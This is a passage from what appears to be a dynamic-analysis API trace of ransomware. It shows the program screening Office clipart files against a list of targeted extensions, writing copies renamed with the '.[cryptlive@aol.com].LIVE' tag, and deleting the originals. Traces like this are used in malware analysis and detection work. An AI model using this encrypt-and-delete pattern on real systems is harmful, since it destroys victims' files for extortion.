Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.703] lstrlenW (lpString=".dbf") returned 4 [0149.703] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.704] lstrlenW (lpString=".1cd") returned 4 [0149.704] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.704] lstrlenW (lpString=".jpg") returned 4 [0149.704] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.704] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.704] lstrlenW (lpString="J0099194.GIF") returned 12 [0149.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.705] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=25265) returned 1 [0149.705] CloseHandle (hObject=0x3d4) returned 1 [0149.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0149.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.706] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.706] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.707] GetLastError () returned 0x0 [0149.707] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x62b1, lpOverlapped=0x0) returned 1 [0149.709] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x62c0, lpOverlapped=0x0) returned 1 [0149.711] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.711] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.711] SetEndOfFile (hFile=0x3a8) returned 1 [0149.711] CloseHandle (hObject=0x3a8) returned 1 [0149.712] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.712] SetEndOfFile (hFile=0x3d4) returned 1 [0149.715] CloseHandle (hObject=0x3d4) returned 1 [0149.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0149.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.716] lstrlenW (lpString=".doc") returned 4 [0149.716] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.716] lstrlenW (lpString=".docx") returned 5 [0149.716] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0149.716] lstrlenW (lpString=".pdf") returned 4 [0149.716] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.716] lstrlenW (lpString=".xls") returned 4 [0149.716] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.716] lstrlenW (lpString=".xlsx") returned 5 [0149.716] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0149.716] lstrlenW (lpString=".ppt") returned 4 [0149.716] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.717] lstrlenW (lpString=".zip") returned 4 [0149.717] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.717] lstrlenW (lpString=".rar") returned 4 [0149.717] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.717] lstrlenW (lpString=".bz2") returned 4 [0149.717] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.717] lstrlenW (lpString=".7z") returned 3 [0149.717] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.717] lstrlenW (lpString=".dbf") returned 4 [0149.717] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.717] lstrlenW (lpString=".1cd") returned 4 [0149.717] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.717] lstrlenW (lpString=".jpg") returned 4 [0149.717] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.717] lstrlenW (lpString=".doc") returned 4 [0149.717] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.717] lstrlenW (lpString=".docx") returned 5 [0149.717] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0149.717] lstrlenW (lpString=".pdf") returned 4 [0149.717] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.717] lstrlenW (lpString=".xls") returned 4 [0149.718] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.718] lstrlenW (lpString=".xlsx") returned 5 [0149.718] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0149.718] lstrlenW (lpString=".ppt") returned 4 [0149.718] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.718] lstrlenW (lpString=".zip") returned 4 [0149.718] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.718] lstrlenW (lpString=".rar") returned 4 [0149.718] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.718] lstrlenW (lpString=".bz2") returned 4 [0149.718] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.718] lstrlenW (lpString=".7z") returned 3 [0149.718] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.718] lstrlenW (lpString=".dbf") returned 4 [0149.718] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.718] lstrlenW (lpString=".1cd") returned 4 [0149.718] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0149.718] lstrlenW (lpString=".jpg") returned 4 [0149.718] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.719] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.719] lstrlenW (lpString="J0099195.GIF") returned 12 [0149.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.719] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=19923) returned 1 [0149.719] CloseHandle (hObject=0x3d4) returned 1 [0149.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0149.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.720] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.720] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.721] GetLastError () returned 0x0 [0149.721] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4dd3, lpOverlapped=0x0) returned 1 [0149.723] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4de0, lpOverlapped=0x0) returned 1 [0149.725] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.725] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.725] SetEndOfFile (hFile=0x3a8) returned 1 [0149.725] CloseHandle (hObject=0x3a8) returned 1 [0149.726] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.726] SetEndOfFile (hFile=0x3d4) returned 1 [0149.729] CloseHandle (hObject=0x3d4) returned 1 [0149.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0149.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.730] lstrlenW (lpString=".doc") returned 4 [0149.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.730] lstrlenW (lpString=".docx") returned 5 [0149.730] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0149.730] lstrlenW (lpString=".pdf") returned 4 [0149.730] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.730] lstrlenW (lpString=".xls") returned 4 [0149.730] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.730] lstrlenW (lpString=".xlsx") returned 5 [0149.730] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0149.730] lstrlenW (lpString=".ppt") returned 4 [0149.730] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.730] lstrlenW (lpString=".zip") returned 4 [0149.730] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.730] lstrlenW (lpString=".rar") returned 4 [0149.731] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.731] lstrlenW (lpString=".bz2") returned 4 [0149.731] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.731] lstrlenW (lpString=".7z") returned 3 [0149.731] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.731] lstrlenW (lpString=".dbf") returned 4 [0149.731] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.731] lstrlenW (lpString=".1cd") returned 4 [0149.731] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.731] lstrlenW (lpString=".jpg") returned 4 [0149.731] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.731] lstrlenW (lpString=".doc") returned 4 [0149.731] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.731] lstrlenW (lpString=".docx") returned 5 [0149.731] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0149.731] lstrlenW (lpString=".pdf") returned 4 [0149.731] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.731] lstrlenW (lpString=".xls") returned 4 [0149.731] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.731] lstrlenW (lpString=".xlsx") returned 5 [0149.731] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0149.731] lstrlenW (lpString=".ppt") returned 4 [0149.732] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.732] lstrlenW (lpString=".zip") returned 4 [0149.732] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.732] lstrlenW (lpString=".rar") returned 4 [0149.732] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.732] lstrlenW (lpString=".bz2") returned 4 [0149.732] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.732] lstrlenW (lpString=".7z") returned 3 [0149.732] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.732] lstrlenW (lpString=".dbf") returned 4 [0149.732] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.732] lstrlenW (lpString=".1cd") returned 4 [0149.732] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0149.732] lstrlenW (lpString=".jpg") returned 4 [0149.732] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.732] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.732] lstrlenW (lpString="J0099196.GIF") returned 12 [0149.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.842] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14337) returned 1 [0149.843] CloseHandle (hObject=0x3b0) returned 1 [0149.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0149.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.866] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.866] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.867] GetLastError () returned 0x0 [0149.867] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3801, lpOverlapped=0x0) returned 1 [0149.894] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3810, lpOverlapped=0x0) returned 1 [0149.895] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.895] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.895] SetEndOfFile (hFile=0x384) returned 1 [0149.895] CloseHandle (hObject=0x384) returned 1 [0149.895] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.895] SetEndOfFile (hFile=0x380) returned 1 [0149.898] CloseHandle (hObject=0x380) returned 1 [0149.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0149.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.899] lstrlenW (lpString=".doc") returned 4 [0149.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.899] lstrlenW (lpString=".docx") returned 5 [0149.899] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0149.899] lstrlenW (lpString=".pdf") returned 4 [0149.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.899] lstrlenW (lpString=".xls") returned 4 [0149.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.899] lstrlenW (lpString=".xlsx") returned 5 [0149.899] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0149.899] lstrlenW (lpString=".ppt") returned 4 [0149.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.899] lstrlenW (lpString=".zip") returned 4 [0149.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.899] lstrlenW (lpString=".rar") returned 4 [0149.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.899] lstrlenW (lpString=".bz2") returned 4 [0149.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.899] lstrlenW (lpString=".7z") returned 3 [0149.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.899] lstrlenW (lpString=".dbf") returned 4 [0149.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.899] lstrlenW (lpString=".1cd") returned 4 [0149.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString=".jpg") returned 4 [0149.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString=".doc") returned 4 [0149.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.900] lstrlenW (lpString=".docx") returned 5 [0149.900] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0149.900] lstrlenW (lpString=".pdf") returned 4 [0149.900] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.900] lstrlenW (lpString=".xls") returned 4 [0149.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.900] lstrlenW (lpString=".xlsx") returned 5 [0149.900] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0149.900] lstrlenW (lpString=".ppt") returned 4 [0149.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString=".zip") returned 4 [0149.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.900] lstrlenW (lpString=".rar") returned 4 [0149.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.900] lstrlenW (lpString=".bz2") returned 4 [0149.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.900] lstrlenW (lpString=".7z") returned 3 [0149.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString=".dbf") returned 4 [0149.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString=".1cd") returned 4 [0149.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0149.900] lstrlenW (lpString=".jpg") returned 4 [0149.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.901] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.901] lstrlenW (lpString="J0099201.GIF") returned 12 [0149.901] CreateFileW (lpFileName="C:\\Program 